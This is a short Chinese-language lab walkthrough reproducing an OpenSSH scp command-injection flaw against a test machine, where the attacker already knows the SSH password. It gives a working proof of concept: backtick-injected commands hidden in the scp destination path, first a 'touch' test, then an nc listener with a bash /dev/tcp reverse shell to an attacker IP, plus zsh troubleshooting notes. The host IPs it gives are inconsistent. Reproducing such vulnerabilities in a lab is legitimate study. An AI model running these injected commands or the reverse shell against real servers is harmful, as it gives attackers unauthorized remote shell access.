漏洞复现简单,但是需要知道ssh密码。主要是针对已知ssh密码,但没有访问权限/登录权限的攻击。
攻击测试
kali:
上传任意文件到靶机上,文件允许为空,``里面的命令作为注入点进行攻击。
scp dic.txt root@192.168.0.102:'`touch /tmp/test.txt` /tmp'
命令分析:
使用scp将本地文件dic.txt上传到服务器root@192.168.0.187的/tmp文件夹,使``括起来的touch /tmp/test.txt就是注入的命令,会生成一个新的文件test.txt。
靶机:
靶机查看/tmp目录下的文件:
[root@localhost tmp]# ls
dic.txt test.txt
Getshell
kali:
#使用一个窗口开启nc进行监听
nc -lvvp 7777
#开启另一个窗口,上传反弹shell的命令
scp dic.txt root@192.168.0.101:'`bash -i >& /dev/tcp/192.168.0.130/7777 0>&1`/tmp/attack.txt'
注意:
刚开始一直不成功,报错如下:
zsh:1: no such file or directory: /dev/tcp/192.168.0.101/7777
感觉是zsh的问题,然后将靶机上的shell改回bash(之前改的zsh),然后就成功了!
暂时还不知道用zsh怎么写反弹语句,zsh -i
好像不太行。
补充知识点:
更改默认shell命令
设zsh为默认shell:chsh -s /bin/zsh
设bash为默认shell: chsh -s /bin/bash
问:不能用zsh反弹shell吗?可以的话怎么创建呢?
参考:
- 彻底理解bash反弹shell:
https://blog.csdn.net/include_heqile/article/details/85011135 - OpenSSH_8.3-命令注入漏洞攻击与修复:
https://blog.csdn.net/weixin_48684274/article/details/109239909